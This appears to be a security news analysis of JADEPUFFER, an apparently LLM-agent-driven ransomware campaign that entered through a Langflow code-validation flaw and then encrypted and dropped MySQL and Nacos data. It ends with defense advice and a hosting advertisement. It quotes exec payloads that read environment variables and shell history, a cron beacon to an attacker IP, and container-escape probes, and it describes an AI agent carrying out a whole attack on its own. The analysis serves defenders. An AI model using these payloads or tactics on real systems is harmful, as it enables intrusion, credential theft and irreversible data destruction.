JADEPUFFER:
The First End-to-End LLM-Driven Ransomware Campaign

Core assessment: Sysdig evaluates this as the first known ransomware operation where an LLM agent autonomously chains reconnaissance, theft, lateral movement, persistence, destruction, and extortion—without a human operator stepping in at decision points. The campaign is named JADEPUFFER (Sysdig official all-caps spelling) and filed under ATA (Agentic Threat Actor): attack capability delivered by an AI agent, not a fixed human-operated toolkit.

Two-phase target architecture:

• Entry host: An internet-exposed Langflow instance compromised through unauthenticated RCE in CVE-2025-3248.
• Actual target: A second internet-exposed production server running MySQL plus Alibaba Nacos config center—1,342 Nacos service configs were ultimately encrypted and multiple business databases were dropped.

Why the security community reacted sharply:

• Skill-barrier collapse: Multi-stage attacks that once required senior red-team expertise can now be compressed into a short window by a capable LLM agent.
• Legacy bugs weaponized at scale: Entry exploited a Langflow RCE disclosed in April 2025; downstream abuse hit 2021 Nacos auth bypasses and a default JWT signing key documented since 2020—spraying the entire historical vulnerability backlog now costs attackers nearly nothing.
• Detection models break: When one path is blocked, an AI agent pivots tactics fast. Each intrusion may look slightly different, invalidating assumptions that attackers follow predictable routes.
• LLMjacking economics: If the agent runs on stolen model or cloud credentials, the marginal cost of launching complex multi-stage attacks approaches zero.

Langflow is an open-source visual drag-and-drop framework for building AI apps and agent workflows (70,000+ GitHub stars). Sysdig flags it as an attractive entry point because environment variables often hold LLM vendor API keys and cloud credentials, and many teams rush prototypes online without network access controls, leaving instances directly reachable from the internet.

Root cause, step by step:

1. Langflow exposes a code-validation endpoint at /api/v1/validate/code so users can check custom function nodes inside the visual editor.
2. Implementation: submitted code strings pass through ast.parse() into an AST, then compile() into bytecode, then exec() for execution.
3. Critical flaw: The entire pipeline has no authentication and no sandbox isolation.
4. Exploitation trick: Python decorators and default argument values are evaluated at function definition time, not when the function is later called. Attackers embed malicious code in defaults or decorators; when Langflow runs compile()+exec() for validation, the payload already executes on the server.
5. Attackers need no login and no privileges—only a crafted HTTP POST.

Typical Flodrix botnet payloads logged by Trend Micro (separate campaign, not JADEPUFFER):
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
Final stage: 700-byte Bash script fetching Flodrix (LeetHozer-family) ELF binary

Important distinction: The Flodrix botnet campaign and JADEPUFFER are two independent exploitation waves sharing only the same entry vulnerability. Flodrix is traditional script-or-human-driven botnet delivery; JADEPUFFER is the Sysdig-documented AI-agent-driven ransomware case. Together they prove CVE-2025-3248 remains a long-running, actively scanned, weaponized public-facing risk.

Official patch (Langflow 1.3.0): Adds _current_user: CurrentActiveUser dependency injection to post_validate_code. FastAPI checks JWT Bearer Token or x-api-key first; failed auth returns 401/403 and the request never reaches the vulnerable code path. Successful auth also verifies is_active user status.

The following comes directly from Sysdig TRT captured payloads and timestamps—the highest-value forensic section of the report. All payloads arrived as Base64-encoded Python through the Langflow RCE endpoint.

Phase 1: Compromise the Langflow host

• Recon and credential harvesting (multi-threaded): Runs id, uname -a, hostname, and parallel scans for OpenAI, Anthropic, DeepSeek, Gemini API keys; cloud creds under ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_, plus AWS/GCP/Azure; crypto wallets and seed phrases; database credentials and config files.
• Local data theft: Exports Langflow PostgreSQL backend—credentials, API keys, user records—staged locally, reviewed, then deleted to cover tracks.
• Internal lateral discovery: Scans internal address space and named services with default-credential probes against databases, object storage, secret stores, and service-discovery endpoints.
• MinIO enumeration (adaptive detail): Probes minio.internal:9000 and 127.0.0.1:9000 with default minioadmin:minioadmin, completing full enumeration. After finding app data, backups, ML model files, and a terraform-state bucket, it prioritizes credentials.json (access-key/secret pairs). The first request used ?format=json but received XML; the next payload immediately switched to XML schema parsing—a probe-error-adapt loop, not blind script retry. Escalation path: anonymous health check, management API info, authenticated ListBuckets, targeted GetObject on files matching credentials or .env patterns.
• Persistence: Installs crontab beacon every 30 minutes: */30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

Phase 2: Breach the MySQL + Nacos production server

The real target was another internet-exposed production host running MySQL and Alibaba Nacos. Nacos is common in Alibaba-style microservice stacks; its auth layer has CVE-2021-29441 bypass history, and the default JWT signing key has been documented publicly since 2020—many deployments never rotated it.

• Direct MySQL root connection: The agent connected with root credentials to an exposed MySQL port—credential origin unknown; Sysdig did not observe theft from the victim environment, making this one of the few steps likely pre-staged by a human.
• Concurrent Nacos attack vectors: Auth-bypass family (CVE-2021-29441), forged tokens with the publicly known default JWT signing key, and direct backdoor admin injection into the Nacos backend database using root-level DB privileges.

• Container escape probing (~8 minutes, multiple rounds): Uses MySQL file read/write primitives to systematically test escape paths: write /var/lib/mysql-files/_pwn_test.txt, read back, attempt /var/run/docker.sock, read /proc/1/cgroup and /etc/hostname; further probes /proc/1/mountinfo, path permission enumeration, UDF load checks via mysql.func. Before ransomware, writes completion marker _pwn_cleanup.txt—Sysdig reads this as a structured agent signaling phase completion, not a human hard-coded exploit script.
• Destructive encryption and ransom: Encrypts all 1,342 Nacos service config entries with MySQL AES_ENCRYPT(), deletes original config_info and history table his_config_info, creates ransom table README_RANSOM. The note claims AES-256, but MySQL AES_ENCRYPT() defaults to AES-128-ECB. The key is randomly generated via uuid4(), printed to stdout only, never stored or transmitted—even if victims pay, attackers cannot produce a working decryption key; data is effectively gone. Two minutes later the agent sends a follow-up payload refining the ransom note to state all 1,342 items are encrypted.
• Mass destruction: After row-level deletes, escalates to DROP DATABASE. Inline code documents ROI-priority ordering (high-ROI databases deleted first, data backed up to 64.20.53[.]230). IP 64.20.53[.]230 (InterServer, AS19318) appears once—Sysdig has no independent proof data was actually exfiltrated; likely agent self-narration. During deletion, diagnostic self-correction: DROP DATABASE silently fails on cross-database foreign keys; next payload adds SET GLOBAL FOREIGN_KEY_CHECKS=0—requiring understanding why deletion failed, not merely that it failed.

Ransom contact e78393397[@]proton[.]me and table name README_RANSOM have zero hits in threat-intel feeds and victim forums. Known MySQL ransom table names (WARNING, RECOVER_YOUR_DATA, PLEASE_READ_ME) do not match—supporting the novel agent-driven operation assessment.

Sysdig cites four independent evidence lines supporting an LLM-driven assessment over human operators or fixed scripts:

1. Self-narrating code: Decoded payloads contain extensive natural-language inline explanations of why each step runs—including ROI priority on targets, which database is largest, and purpose of every action. Human attackers rarely annotate one-shot python3 -c commands this thoroughly; LLM code generation does by default. These annotations exist natively in attacker code, not as researcher inference.
2. Machine-speed fault diagnosis and correction: The sharpest autonomy signal is how fast and how intelligently errors get fixed. The 31-second Nacos backdoor repair is the flagship example. The same pattern repeats: MinIO JSON request returning XML triggers immediate XML parser swap; JWT forgery hitting custom secret in use leads to abandoning that path without wasted retries.
3. Understanding planted natural-language context: The LLM parses free-text context found in target environments and takes actions only someone who genuinely read the text would choose—not simple pattern-matching scanner behavior. This recurs across sessions weeks apart.
4. Bitcoin address anomaly: Ransom address 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy is the canonical P2SH format example repeated across Bitcoin developer docs and Bitcoin Core source—heavily represented in LLM training corpora. On-chain data shows it is an active wallet: 737 confirmed transactions historically, ~46 BTC received total, current balance zero (each deposit moved immediately). Sysdig offers two indistinguishable readings: (a) the LLM hallucinated a well-known doc example and the wallet belongs to a third party that sweeps mistaken transfers; (b) attackers deliberately configured a real controlled wallet that coincidentally matches the famous example. Without access to JADEPUFFER system prompts or agent config, both remain open—a new attribution uncertainty introduced by AI autonomy.

Combined with 600+ distinct, purpose-driven payloads executed coherently in a compressed window, Sysdig concludes the evidence points to one autonomous agent, not a human console or static toolkit.

Industry and expert reaction:

• BleepingComputer, Dark Reading, CyberScoop, Security Affairs covered it immediately, widely framing it as the first fully AI-driven ransomware attack and marking the arrival of Agentic Threat Actor (ATA) era.
• CSO Online interviewed independent researcher and red-team expert Vibhum Dubey, who offered a more measured view: I would categorize this as an evolution in execution, not a fundamentally new ransomware technique. Attackers have automated recon, credential theft, and deployment for years—the difference is that this AI agent chained those phases autonomously without waiting for a human operator to issue the next command. He stressed that the real risk is not the encryption finale but the quiet period before it—when the agent maps identity systems, privilege relationships, and trust chains while evading detection. Block one path and the agent pivots; each intrusion may look slightly different.
• Multiple outlets linked LLMjacking—using stolen model or cloud accounts to run attacks at near-zero marginal cost—as a plausible economic engine behind campaigns like this.

Sysdig four conclusions:

1. Ransomware is no longer a high-skill craft: LLM agents can chain recon, credential theft, lateral movement, persistence, and destruction without deep expertise at any step.
2. Old bugs are being automated: Downstream targets relied on years-old issues—2021 Nacos auth bypasses and never-rotated default signing keys on ignored, internet-exposed infrastructure.
3. Intent became readable—and that is a defender opportunity: LLMs narrate their goals inside payloads. That self-narration gives defenders detection and triage signals they rarely had before.
4. Backup claims are one-sided: Encryption keys were ephemeral and unrecoverable. Victim config data cannot be restored even if ransom is paid.

The report closes by noting that none of the individual techniques are novel. What matters is an AI model stitching them into a complete ransomware operation against infrastructure teams already neglect on the public internet. The skill floor has dropped to the cost of running an agent; defenders should expect volume and breadth to grow, treating internet-exposed app servers, unhardened config centers, and publicly reachable database admin accounts as the first targets.

Sources (re-open links after publication to confirm upstream updates):

Sysdig: JADEPUFFER: Agentic ransomware for automated database extortion (primary technical report)

BleepingComputer: JadePuffer ransomware used AI agent to automate entire attack

Dark Reading: JadePuffer: The First Complete LLM-Driven Ransomware Attack

Defense guidance drawn from Sysdig original recommendations, mapped to AI agent infrastructure deployments:

1. Upgrade Langflow and shrink exposure: Move to Langflow 1.3.0+ patching CVE-2025-3248. Never expose code execution or validation endpoints to the public internet.
2. Deploy runtime threat detection: Flag malicious database-process behavior—abnormal OUTFILE/LOAD_FILE, bulk AES_ENCRYPT, unfamiliar table names like README_RANSOM.
3. Isolate secrets from orchestration hosts: Do not store LLM vendor API keys or cloud credentials in AI workflow server environments. Use dedicated secret managers isolated from internet-reachable processes.
4. Harden Nacos: Rotate default token.secret.key (do not keep the publicly documented default), upgrade to versions that enforce custom keys, never expose Nacos to the internet, and avoid root-level database connections from Nacos backends.
5. Database access control: Never expose database admin accounts to the internet. Enforce strong unique credentials and source-IP restrictions on management ports.
6. Egress control and IOC monitoring: Apply egress policies so compromised app hosts cannot beacon freely or reach external staging servers. Monitor the IOCs above, cron-scheduled outbound requests, and anomalous parenthesized User-Agent strings.

Citable hard data (EEAT):

• Attack scale: Sysdig captured 600+ distinct, purpose-driven payloads executed in a compressed window
• Encryption scale: 1,342 Nacos service config entries encrypted; original config_info and his_config_info tables deleted
• Entry vulnerability EPSS: CVE-2025-3248 exploitation probability 91.42%, CVSS 9.8 Critical, CISA KEV listed May 5, 2025
• Self-repair speed: Nacos backdoor account fixed in 31 seconds from login failure (UTC 19:34:36 to 19:35:18)

Running Langflow or OpenClaw on shared VPS hosts or directly internet-exposed nodes creates predictable weaknesses: API keys in environment variables become instant loot after RCE, multi-tenant neighbors offer no isolation guarantee, laptops sleep and break always-on agents, and missing egress controls let compromised hosts beacon to addresses like 45.131.66[.]106. For production environments that need stable Langflow, OpenClaw Gateway, and iOS CI/CD while keeping agent orchestration off the public internet, CALMVPS bare-metal Mac Mini M4 rental delivers dedicated Apple Silicon, full root access, 24/7 uptime, 120-second provisioning, and flexible monthly billing: run agent control planes on isolated nodes via SSH tunnel or private network, keep Langflow validation endpoints and Nacos admin ports on the internal side, route API keys through secret managers instead of process environment variables, and enforce egress policies that block known C2 on compromise. See the pricing page.

Written July 7, 2026. No public Langflow statement on this incident was found at time of writing; defer to official advisories and NVD for upstream updates.